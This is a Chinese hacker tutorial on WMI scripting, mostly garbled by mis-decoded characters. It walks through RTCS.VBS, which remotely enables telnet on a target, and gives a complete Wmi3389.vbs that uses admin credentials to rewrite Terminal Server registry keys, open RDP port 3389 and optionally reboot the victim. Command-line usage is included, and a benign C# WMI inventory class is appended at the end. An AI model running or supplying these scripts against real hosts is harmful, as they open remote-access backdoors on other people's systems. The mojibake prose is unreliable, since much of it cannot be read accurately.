WMI 链鍒濅簬1998骞翠綔涓轰竴涓闄勫姞缁勪欢涓 Windows NT 4.0 Service Pack 4 涓璧峰彂琛岋纴鏄鍐呯疆鍦╓indows 2000銆 Windows XP鍜学indows Server 2003 绯诲垪镎崭綔绯荤粺涓镙稿绩镄勭$悊鏀鎸佹妧链銆傚熀浜庣敱 Distributed Management Task Force (DMTF) 镓鐩戠潱镄勪笟鐣屾爣鍑嗭纴WMI鏄涓绉嶈勮寖鍜屽熀纭缁撴瀯锛岄氲繃瀹冨彲浠ヨ块梾銆侀厤缃銆佺$悊鍜岀洃瑙嗗嚑涔庢墍链夌殑Windows璧勬簮銆傚ぇ澶氱敤鎴蜂範𨱍浜庝娇鐢ㄤ䌷澶氱殑锲惧舰鍖栫$悊宸ュ叿𨱒ョ$悊Windows璧勬簮锛屽湪WMI涔嫔墠杩欎簺宸ュ叿閮芥槸阃氲繃 Win32搴旂敤绋嫔簭缂栫▼鎺ュ彛(Application ProgrammingInterfaces锛孉PI)𨱒ヨ块梾鍜岀$悊Windows璧勬簮镄勚傚彧瑕佷綘镡熸倝绯荤粺缂栫▼浣犲氨鐭ラ亾API链夊氢箞閲嶈併备絾鏄澶у氭暟鑴氭湰璇瑷閮戒笉鑳界洿鎺ヨ皟鐢╓in32 API锛学MI镄勫嚭鐜颁娇寰楃郴缁熺$悊锻桦彲浠ラ氲繃涓绉岖亩渚跨殑鏂规硶鍗冲埄鐢ㄥ父瑙佺殑鑴氭湰璇瑷瀹炵幇甯哥敤镄勭郴缁熺$悊浠诲姟銆
鍒╃敤WMI闇瑕佸拰鑴氭湰濡俉SH鍜孷BScript缁揿悎璧锋潵锛屽彲浠ュ疄鐜扮殑锷熻兘澶у跺彲浠ョ湅寰杞镄凪SDN鏂囨。銆
鍦ㄧ紪鍐欐垜浠镊宸辩殑鑴氭湰涔嫔墠锛屾垜浠闇瑕佸筗MI镄勪綋绯荤粨鏋勬湁涓锘烘湰镄勪简瑙c傚傚浘涓锛(1.gif)
鍦╓MI 浣撶郴缁撴瀯涓鎴戜滑链闇瑕佸叧蹇幂殑灏辨槸WMI鎻愪緵绋嫔簭锛学MI鎻愪緵绋嫔簭鍦╓MI鍜屾墭绠¤祫婧愪箣闂存壆婕旂潃涓闂存柟镄勮掕壊銆傛彁渚涚▼搴忎唬琛ㄤ娇鐢ㄨ呭簲鐢ㄧ▼搴忓拰鑴氭湰浠嶹MI镓樼¤祫婧愯锋眰淇℃伅锛屽苟鍙戦佹寚浠ゅ埌WMI镓樼¤祫婧愩备笅闱㈡槸鎴戜滑鍒╃敤WMI缂栫▼缁忓父瑕佺敤鍒扮殑WMI鍐呯疆鎻愪緵绋嫔簭娓呭崟锛屼互渚涚紪绋嫔弬钥冦
1.Active Directory鎻愪緵绋嫔簭
阈炬帴搴撴枃浠讹细dsprov.dll
锻藉悕绌洪棿锛歳oot\directory\ldap
浣灭敤锛氩皢Active Directory 瀵硅薄鏄犲皠鍒 WMI銆
2.浜嬩欢镞ュ织鎻愪緵绋嫔簭
阈炬帴搴撴枃浠讹细ntevt.dll
锻藉悕绌洪棿锛歳oot\cimv2
浣灭敤锛氱$悊 Windows 浜嬩欢镞ュ织锛屼緥濡傦纴璇诲彇銆佸囦唤銆佹竻闄ゃ佸嶅埗銆佸垹闄ゃ佺洃瑙嗐侀吨锻藉悕銆佸帇缂┿佽В铡嬬缉鍜屾洿鏀逛簨浠舵棩蹇楄剧疆銆
3.娉ㄥ唽琛ㄦ彁渚涚▼搴
阈炬帴搴撴枃浠讹细stdprov.dll
锻藉悕绌洪棿锛歳oot\default
浣灭敤锛氲诲彇銆佸啓鍏ャ佹灇涓俱佺洃瑙嗐佸垱寤恒佸垹闄ゆ敞鍐岃〃椤瑰拰鍊笺
4.Win32 鎻愪緵绋嫔簭
阈炬帴搴撴枃浠讹细cimwin32.dll
锻藉悕绌洪棿锛歳oot\cimv2
浣灭敤锛氭彁渚涘叧浜庤$畻链恒佺佺洏銆佸栧洿璁惧囥佹枃浠躲佹枃浠跺す銆佹枃浠剁郴缁熴佺绣缁灭粍浠躲佹搷浣灭郴缁熴佹墦鍗版満銆佽繘绋嬨佸畨鍏ㄦс佹湇锷°佸叡浜銆丼AM 鐢ㄦ埛鍙婄粍锛屼互鍙婃洿澶氲祫婧愮殑淇℃伅銆
5.Windows 瀹夎呯▼搴忔彁渚涚▼搴
阈炬帴搴撴枃浠讹细msiprov.dll
锻藉悕绌洪棿锛歳oot\cimv2
浣灭敤锛氭彁渚涘瑰凡瀹夎呰蒋浠朵俊鎭镄勮块梾銆
浠庝笂闱㈠彲浠ョ湅鍑哄湪WMI涓绫伙纸鍗冲唴缃鎻愪緵绋嫔簭锛夎鍒嗙粍鍒板懡钖岖┖闂翠腑锛屽懡钖岖┖闂村彲浠ョ湅鎴愭槸涓涓缁勚傛瘆濡傦纴锻藉悕绌洪棿 root\cimv2 鍖呮嫭澶ч儴鍒呜〃绀洪氩父涓庤$畻链哄拰镎崭綔绯荤粺鐩稿叧镵旂殑璧勬簮镄勭被銆傚湪浣跨敤绫荤殑镞跺栾佽存槑绫绘墍鍦ㄧ殑锻藉悕绌洪棿銆傜被鐢卞睘镐у拰鏂规硶鏋勬垚銆傝繖鏄鍙瑙嗗寲缂栫▼涓镄勪袱涓閲嶈佺殑姒傚康銆傚睘镐ф弿杩扮殑鏄瀵硅薄镄勭姸镐侊纴鏂规硶鏄瀵硅薄鍙浠ユ墽琛岀殑镎崭綔銆
鐞呜虹煡璇嗗﹁捣𨱒ュ緢鏋鐕ワ纴涓嬮溃璁╂垜浠杈瑰垎鏋愰珮镓嬬殑鑴氭湰婧愮爜杈硅繘琛岀悊璁虹煡璇嗙殑宸╁浐钖с
浜岋细瑙f瀽RTCS.VBS涓昏佷唬镰
=====================================================================================
链夋椂鍊欓槄璇诲埆浜虹殑婧愮爜链灏濅笉鏄涓涓濂借屼笖蹇鎹风殑锷炴硶锛屼笅闱㈠氨璁╂垜浠𨱒ヨょ湡瀛︿範zzzEVAzzz缂栧啓镄勪竴涓鍙浠ヨ繙绋嫔紑钖痶elnet链嶅姟镄勮剼链琑TCS.VBS銆
璇ヨ剼链鍙浠ョ洿鎺ヨ块梾鐩镙囩殑WMI,涓崭緷璧栦簬鐩镙囩殑ipc$,瀹炵幇杩灭▼寮钖/鍏抽棴鐩镙噒elnet链嶅姟锛屼负浜嗘柟渚垮ぇ瀹跺︿範鎴戞娊鍑轰简链涓昏佺殑浠g爜锛屽叿浣揿垎鏋愬备笅锛
set objlocator=createobject("wbemscripting.swbemlocator")
//鍒涘缓WbemScripting.SwbemLocator瀵硅薄(鑴氭湰鎺ュ彛)銆
//鍙浠ョ湅鍑篧MI鍏跺疄灏辨槸鎶奀om缁勪欢WbemScripting.SWbemLocator灏佽呰捣𨱒ョ舰浜嗐
set objswbemservices=objlocator.connectserver(ipaddress,"root/default",username,password)
//阃氲繃ConnectServer鍑芥暟璇锋眰杩炴帴鍒痒MI鎺т欢链嶅姟涓婏纴root/default涓哄懡钖岖┖闂淬
set objinstance=objswbemservices.get("stdregprov")
//寤虹珛璁块梾娉ㄥ唽琛ㄧ殑瀹炰緥銆
set objmethod=objinstance.methods_("SetDWORDvalue")
//寤虹珛鍙浠ユ洿鏀规敞鍐岃〃阌鍊肩殑鏂规硶銆
set objinparam=objmethod.inparameters.spawninstance_()
//MethodData.InParameters鐢ㄤ簬銮峰彇鎴栬剧疆鏂规硶镄勮緭鍏ュ弬鏁般傝繖閲岀敤spawninstance鏂规硶涓哄畠寤虹珛涓涓瀛愬疄渚嬶纴涓嬮溃灏卞彲浠ュ皢鍙傛暟鍊艰祴浜堣繖涓瀵硅薄镄勫睘镐с
objinparam.hdefkey=&h80000002
//hdefkey琛ㄧず镙归敭锛屾牴阌镄勫崄鍏鍒跺煎备笅锛
//HKEY_CLASSES_ROOT (&H80000000)
//HKEY_CURRENT_USER (&H80000001)
//HKEY_LOCAL_MACHINE (&H80000002)
//HKEY_USERS (&H80000003)
//HKEY_CURRENT_CONFIG (&H80000005)
objinparam.ssubkeyname="SOFTWARE\Microsoft\TelnetServer\1.0"
//ssubkeyname琛ㄧず瀛愰敭銆
objinparam.svaluename="NTLM"
//svaluename琛ㄧず灞炴у悕銆
objinparam.uvalue=ntlm
//uvalue琛ㄧず阌鍊笺
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
//鍒╃敤execmethod镓ц屾柟娉曪纴杩欓噷镓岖湡姝f敼鍐欎简娉ㄥ唽琛ㄣ
//涓嬮溃鏄淇鏀箃elnet链嶅姟镄凾elnetPort鍊硷纴铡熺悊钖屼笂銆
objinparam.svaluename="TelnetPort"
objinparam.uvalue=port
set objoutparam=objinstance.execmethod_("SetDWORDvalue",objinparam)
淇鏀箃elnet镄勬敞鍐岃〃閮ㄥ垎灏卞畬鎴愪简锛屽皢NTLM鍜孴elnetPort杩涜屼简淇鏀癸纴瑕佹槸瀵规柟镄则elnet链嶅姟娌℃湁寮钖锻锛熶笅闱㈠氨闇瑕佹牴鎹畉elnet镄勫叿浣撴儏鍐碉纴𨱒ュ惎锷╰elnet链嶅姟锛岀户缁鐪嬩唬镰併
//棣栧厛镆ヨ㈣繙绋嬩富链轰笂tlntsvr镄勫惎锷ㄦ柟寮忋
set objswbemservices=objlocator.connectserver(ipaddress,"root\cimv2",username,password)
//win32_service绫诲湪root\cimv2锻藉悕绌洪棿涓锛屼綔鐢ㄦ病蹇樿板惂锛熷揩鐪嫔熀纭鐭ヨ瘑锻点
set colinstances=objswbemservices.execquery("select * from win32_service where name='tlntsvr'")
//娉ㄦ剰锛氭煡璇㈤兘鏄阃氲繃鏋氢妇𨱒ュ疄鐜扮殑銆
for each objinstance in colinstances
if objinstance.startmode="Disabled" then
set objmethod=objinstance.methods_("changestartmode")
//鍒涘缓changestartmode鏂规硶𨱒ユ敼鍙榯lntsvr镄勫惎锷ㄦ柟寮忋
set objinparam=objmethod.inparameters.spawninstance_()
objinparam.startmode="Manual"
//灏嗗惎锷ㄦ柟寮忔敼涓烘坠锷ㄦ柟寮忋
set objoutparam=objinstance.execmethod_("changestartmode",objinparam)
end if
//涓嬮溃钖锷ㄦ垜浠镄则elnet链嶅姟銆傝繖閲寊zzEVAzzz镄勬濊矾濂借薄链夌偣涓嶅癸纴涔熶笉鐭ラ亾鏄涓嶆槸浠栫殑鐤忓拷锛屾垜涓浜鸿や负褰搕elnet链嶅姟宸茬粡钖锷ㄦ椂涓嶅簲璇ョ敤stopservice鏂规硶锅沧㈡湇锷°
if objinstance.started=true then
intstatus=objinstance.stopservice()
//stopservice鏄疻MI涓鐢ㄤ簬锅沧㈡湇锷″疄渚嬬殑链嶅姟镄勬柟娉曘
else
intstatus=objinstance.startservice()
end if
next
涓夛细镓嬫妸镓嬫暀浣犵紪鍐橶MI鐗堟湰镄凴OTS.vbs𨱒ュ紑钖3389
=====================================================================================
zzzVEAzzz 镄勮剼链灏卞垎鏋愬埌杩欓噷钖э纴镐庝箞镙凤纻寰圗ASY钖э纻锛佹垜鐩镐俊澶у剁幇鍦ㄤ竴瀹氲牏锠㈡插姩浜嗭纻:)濂斤纴涓璧锋潵鍐欎竴涓浠涔堢▼搴忓憿锛烺OTS.vbs鎴戞兂澶у朵竴瀹氶兘鐢ㄨ繃钖э纻浠涔堜笢涓滃晩锛熸垜钬︹︾牳!澶у跺簲璇ョ煡阆撹繖涓猂OTS鏄链夊畠镄勪娇鐢ㄦ浔浠剁殑锛屼笉浠呰佹湁绠$悊锻桦笎鍙凤纴杩樿佸厑璁歌繘琛宨pc杩炴帴锛屽湪杩欎釜鍒板勯兘鏄澧欑殑骞翠唬锛宨pc 镞╁氨涓嶅疄鐢ㄤ简锛岃屼笖ROTS.vbs镞╁氨琚镆ユ潃浜嗭纴闾hユ庝箞锷烇纻褰撶劧鏄镊宸卞姩镓嬩简銆傝兘涓嶈兘瀹炵幇ROTS镄勪竴镙风殑杩灭▼寮钖3389镄勫姛鑳借屼笉鍙梚pc镄勯檺鍒跺憿锛熺瓟妗堣嚜浠庢垜鍐欎简杩欑瘒鏂囩珷钖庢垚涓鸿偗瀹氱殑锛屽搱鍝堬纴钖瑰惞浜嗐
褰撶劧鎴戜滑涔熸槸瑕佹眰绯荤粺镊冲皯鏄2000server鍙娄互涓婄殑锛屾渶杩戠湅鍒版湁涓杞浠跺彲浠ョ粰2000pro寮3389锛岀敱浜庢瘆杈冨繖锛屼篃娌℃庝箞铡荤悊瀹冿纴杩欓噷鎴戜滑𨱌备笖涓嶈村畠锛岀煡阆扑简铡熺悊涓镙峰ソ锷炪
寮钖3389链変釜娉ㄥ唽琛ㄥ煎叆镄勬柟娉曪纴鍏跺畠涓浜涜蒋浠剁殑寮娉曪纴鎴戞兂涔熷ぇ澶氭槸阃氲繃淇鏀规敞鍐岃〃瀹炵幇镄勚傝繖涓鏂规硶闇瑕佸煎叆濡备笅镄勬敞鍐岃〃锛
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002
[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"
铡熺悊鐭ラ亾浜嗗氨娌′粈涔堥毦镄勪简锛屽厛鐞嗘竻鎴戜滑镄勬濊矾锛屾垜浠镄勪富瑕佷换锷℃槸镟存敼娉ㄥ唽琛ㄩ噷镄勯敭鍊笺傞栧厛鏄鍒涘缓WMI瀵硅薄锛岀劧钖庢槸杩炴帴鍒拌繙绋媁MI链嶅姟鍣锛屾渶钖庝慨鏀规敞鍐岃〃阌鍊笺
閮ㄥ垎涓昏佷唬镰佸备笅锛埚畬鏁寸殑浠g爜鍜岃︾粏镄勬敞閲婅风湅闄勫甫镄勮蒋浠跺寘锛
on error resume next
//阒叉㈠嚭鐜版剰澶栥
set outstreem=wscript.stdout
if (lcase(right(wscript.fullname,11))="wscript.exe") then
set objShell=wscript.createObject("wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&chr(34)&wscript.scriptfullname&chr(34))
//cmd钖庡甫/K鍙傛暟琛ㄧず镓ц屽瓧绗︿覆鎸囧畾镄勫懡浠ゃ
wscript.quit
end if
//杩涜岀亩鍗旷殑妫镆ャ
if wscript.arguments.count<3 then
usage()
wscript.echo "Not enough parameters."
wscript.quit
end if
//鍙栧嚭鍙傛暟锛屽垎鍒璧嬩篑鍑犱釜鍙橀噺銆
ipaddress=wscript.arguments(0)
username=wscript.arguments(1)
password=wscript.arguments(2)
option=wscript.arguments(3)
usage()
涓嬮溃鏄镙稿绩浠g爜锛屼篃鏄瀹炵幇杩灭▼淇鏀规敞鍐岃〃镄勫姛鑳斤纴鎴戣繖閲岀粰鍑哄彟澶栦竴绉嶅疄鐜扮殑鏂瑰纺锛屽圭収鍓嶉溃镄勪唬镰佸緢瀹规槗鐞呜В锛屾垜灏卞彧浣灭亩鍗旷殑瑙i喷浜嗐傝︾粏𨱍呭喌鍙浠ュ弬阒匨SDN鏂囨。涓鍏充簬StdRegProv绫荤殑璇存槑銆
锛http://msdn.microsoft.com/library/default.asp?url=/library/en-us/wmisdk/wmi/stdregprov.asp锛
const HKEY_LOCAL_MACHINE = &H80000002
const HKEY_USERS=&H80000003
strComputer = ipaddress
//銮峰彇wmi瀵硅薄
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows\CurrentVersion\netcache"
strValueName = "Enabled"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
strValueName = "ShutdownWithoutLogon"
strValue=0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SOFTWARE\Policies\Microsoft\Windows\Installer"
strValueName = "EnableAdminTSRemote"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "TSEnabled"
strValue=1
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermDD"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = "SYSTEM\CurrentControlSet\Services\TermService"
strValueName = "Start"
strValue=2
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,strValue
strKeyPath = ".DEFAULT\Keyboard Layout\Toggle"
strValueName = "Hotkey"
strValue=1
oReg.SetDWORDValue HKEY_USERS,strKeyPath,strValueName,strValue
//涓嬮溃瀹炵幇閲嶅惎杩灭▼链哄櫒
if option="/r" then
outstreem.write "Now, rebooting target...."
strwmiquery="select * from win32_operatingsystem where primary='true'"
set colinstances=objswbemservices.execquery(strwmiquery)
for each objinstance in colinstances
objinstance.win32shutdown(2)
end if
outstreem.write "Ok, rebooted the target."
//绠鍗旷殑鐢ㄦ硶璇存槑镄勫嚱鏁般
function usage()
wscript.echo string(60,"=")
wscript.echo "Wmi3389 v1.0.0"
wscript.echo "No ipc Open 3389, code written by pye."
wscript.echo "Welcome to visite www.coon.cn or Mail to [email protected]"
wscript.echo "Usage:"
wscript.echo "cscript "&wscript.scriptfullname&" targetIP username password [/r]"
wscript.echo "/r reboot the target this is optional"
wscript.echo "It use WMI to Open 3389 of target server."
wscript.echo string(60,"=")&vbcrlf
end function
灏嗕笂闱㈢殑浠g爜澶嶅埗甯﹁颁簨链閲岋纴淇濆瓨涓篧mi3389.vbs銆傜劧钖庡湪CMD閲屾墽琛岋细
cscript Wmi3389.vbs ipaddress administrator password [/r]
鐪嬬湅鏄涓嶆槸鍜孯OTS.vbs链変竴镙风殑鏁堟灉鍟婏纻澶у惰刀蹇瀹炶返瀹炶返钖с
锲涳细链钖庣殑鍞犲彣
=====================================================================================
澶у跺彲浠ョ湅鍑篧MI镄勫姛鑳芥槸寰埚己澶х殑锛岃繖閲岃佹劅璋MicroSoft浜嗭纴瀹冩槸姘歌繙閮戒笉浼氲╂垜浠澶辨湜镄勚俉MI瀵硅薄鍏佽搁氲繃VB锛孷BA锛学SH锛 VBScript锛 JScript锛孉SP锛屾垨鏄鏀鎸佽嚜锷ㄥ硅薄镄勫叾瀹幂幆澧冿纴瀵筗MI杩涜屽畬鍏ㄨ块梾銆傚湪鍙傝冩煡璇浣撶郴涓锷犲叆 WMI Scripting V1.1 Library 锛屽垯Visual Basic鎴栨槸VBA鏂规埚氨鍙浠ヨ块梾杩欎簺瀵硅薄浜嗐傛敮鎸丄ctiveX绋嫔簭镄勬搷浣滃钩鍙板彲浠ラ氲繃瀵硅薄绫荤殑浠e彿锛屾垨鏄绫荤殑钖岖О鍒涘缓杩欎簺瀵硅薄锛岃繖浜涘硅薄镄勫墠缂鏄疻bemScripting锛屽 WbemScripting.SwbemLocator銆傛墍浠ュぇ瀹舵湁鍏磋叮镄勫畬鍏ㄥ彲浠ュ埄鐢╒B锛学SH锛孷BScript锛 JScript锛孉SP绛夌紪鍐欐洿澶氱殑鍒╃敤WMI镄勯粦瀹㈢▼搴忋
----------------------------------------------------
链钖庣粰浣犻梼涓娄竴娈电▼搴
/* **********************************************
* Rainsoft Development Library for Microsoft.NET
*
* Copyright (c) 2004,2005 RainTrail Studio.China
* All Rigths Reserved!
* Author: Q.yuhen ([email protected])
********************************************** */
using System;
using System.Management;
using System.Collections;
using System.Collections.Specialized;
using System.Text;
namespace Rainsoft.Management
{
#region WMIPath
public enum WMIPath
{
// 纭浠
Win32_Processor, // CPU 澶勭悊鍣
Win32_PhysicalMemory, // 鐗╃悊鍐呭瓨𨱒
Win32_Keyboard, // 阌鐩
Win32_PointingDevice, // 镣硅緭鍏ヨ惧囷纴鍖呮嫭榧犳爣銆
Win32_FloppyDrive, // 杞鐩橀┍锷ㄥ櫒
Win32_DiskDrive, // 纭鐩橀┍锷ㄥ櫒
Win32_CDROMDrive, // 鍏夌洏椹卞姩鍣
Win32_BaseBoard, // 涓绘澘
Win32_BIOS, // BIOS 鑺鐗
Win32_ParallelPort, // 骞跺彛
Win32_SerialPort, // 涓插彛
Win32_SerialPortConfiguration, // 涓插彛閰岖疆
Win32_SoundDevice, // 澶氩獟浣撹剧疆锛屼竴鑸鎸囧0鍗°
Win32_SystemSlot, // 涓绘澘鎻掓Ы (ISA & PCI & AGP)
Win32_USBController, // USB 鎺у埗鍣
Win32_NetworkAdapter, // 缃戠粶阃傞厤鍣
Win32_NetworkAdapterConfiguration, // 缃戠粶阃傞厤鍣ㄨ剧疆
Win32_Printer, // 镓揿嵃链
Win32_PrinterConfiguration, // 镓揿嵃链鸿剧疆
Win32_PrintJob, // 镓揿嵃链轰换锷
Win32_TCPIPPrinterPort, // 镓揿嵃链虹鍙
Win32_POTSModem, // MODEM
Win32_POTSModemToSerialPort, // MODEM 绔鍙
Win32_DesktopMonitor, // 鏄剧ず鍣
Win32_DisplayConfiguration, // 鏄惧崱
Win32_, // 鏄惧崱璁剧疆
Win32_VideoController, // 鏄惧崱缁呜妭銆
Win32_VideoSettings, // 鏄惧崱鏀鎸佺殑鏄剧ず妯″纺銆
// 镎崭綔绯荤粺
Win32_TimeZone, // 镞跺尯
Win32_SystemDriver, // 椹卞姩绋嫔簭
Win32_DiskPartition, // 纾佺洏鍒嗗尯
Win32_LogicalDisk, // 阃昏緫纾佺洏
Win32_LogicalDiskToPartition, // 阃昏緫纾佺洏镓鍦ㄥ垎鍖哄强濮嬫汤浣岖疆銆
Win32_LogicalMemoryConfiguration, // 阃昏緫鍐呭瓨閰岖疆
Win32_PageFile, // 绯荤粺椤垫枃浠朵俊鎭
Win32_PageFileSetting, // 椤垫枃浠惰剧疆
Win32_BootConfiguration, // 绯荤粺钖锷ㄩ厤缃
Win32_ComputerSystem, // 璁$畻链轰俊鎭绠瑕
Win32_OperatingSystem, // 镎崭綔绯荤粺淇℃伅
Win32_StartupCommand, // 绯荤粺镊锷ㄥ惎锷ㄧ▼搴
Win32_Service, // 绯荤粺瀹夎呯殑链嶅姟
Win32_Group, // 绯荤粺绠$悊缁
Win32_GroupUser, // 绯荤粺缁勫笎鍙
Win32_UserAccount, // 鐢ㄦ埛甯愬彿
Win32_Process, // 绯荤粺杩涚▼
Win32_Thread, // 绯荤粺绾跨▼
Win32_Share, // 鍏变韩
Win32_NetworkClient, // 宸插畨瑁呯殑缃戠粶瀹㈡埛绔
Win32_NetworkProtocol, // 宸插畨瑁呯殑缃戠粶鍗忚
}
#endregion
/// <summary>
/// 銮峰彇绯荤粺淇℃伅
/// </summary>
/// <example>
/// <code>
/// WMI w = new WMI(WMIPath.Win32_NetworkAdapterConfiguration);
/// for (int i = 0; i < w.Count; i ++)
/// {
/// if ((bool)w[i, "IPEnabled"])
/// {
/// Console.WriteLine("Caption:{0}", w[i, "Caption"]);
/// Console.WriteLine("MAC Address:{0}", w[i, "MACAddress"]);
/// }
/// }
/// </code>
/// </example>
public sealed class WMI
{
private ArrayList mocs;
private StringDictionary names; // 鐢ㄦ潵瀛桦偍灞炴у悕锛屼究浜庡拷鐣ュぇ灏忓啓镆ヨ㈡g‘钖岖О銆
/// <summary>
/// 淇℃伅闆嗗悎鏁伴噺
/// </summary>
public int Count
{
get { return mocs.Count; }
}
/// <summary>
/// 銮峰彇鎸囧畾灞炴у硷纴娉ㄦ剰镆愪簺缁撴灉鍙鑳芥槸鏁扮粍銆
/// </summary>
public object this[int index, string propertyName]
{
get
{
try
{
string trueName = names[propertyName.Trim()]; // 浠ユゅ彲涓嶅尯鍒嗗ぇ灏忓啓銮峰缑姝g‘镄勫睘镐у悕绉般
Hashtable h = (Hashtable)mocs[index];
return h[trueName];
}
catch
{
return null;
}
}
}
/// <summary>
/// 杩斿洖镓链夊睘镐у悕绉般
/// </summary>
/// <param name="index"></param>
/// <returns></returns>
public string[] PropertyNames(int index)
{
try
{
Hashtable h = (Hashtable)mocs[index];
string[] result = new string[h.Keys.Count];
h.Keys.CopyTo(result, 0);
Array.Sort(result);
return result;
}
catch
{
return null;
}
}
/// <summary>
/// 杩斿洖娴嬭瘯淇℃伅銆
/// </summary>
/// <returns></returns>
public string Test()
{
try
{
StringBuilder result = new StringBuilder(1000);
for (int i = 0; i < Count; i++)
{
int j = 0;
foreach(string s in PropertyNames(i))
{
result.Append(string.Format("{0}:{1}={2}\n", ++j, s, this[i, s]));
if (this[i, s] is Array)
{
Array v1 = this[i, s] as Array;
for (int x = 0; x < v1.Length; x++)
{
result.Append("\t" + v1.GetValue(x) + "\n");
}
}
}
result.Append("======WMI=======\n");
}
return result.ToString();
}
catch
{
return string.Empty;
}
}
/// <summary>
/// 鏋勯犲嚱鏁
/// </summary>
/// <param name="path"></param>
public WMI(string path)
{
names = new StringDictionary();
mocs = new ArrayList();
try
{
ManagementClass cimobject = new ManagementClass(path);
ManagementObjectCollection moc = cimobject.GetInstances();
bool ok = false;
foreach(ManagementObject mo in moc)
{
Hashtable o = new Hashtable();
mocs.Add(o);
foreach (PropertyData p in mo.Properties)
{
o.Add(p.Name, p.Value);
if (!ok) names.Add(p.Name, p.Name);
}
ok = true;
mo.Dispose();
}
moc.Dispose();
}
catch(Exception e)
{
throw new Exception(e.Message);
}
}
/// <summary>
/// 鏋勯犲嚱鏁
/// </summary>
/// <param name="path"></param>
public WMI(WMIPath path): this(path.ToString())
{
}
}
}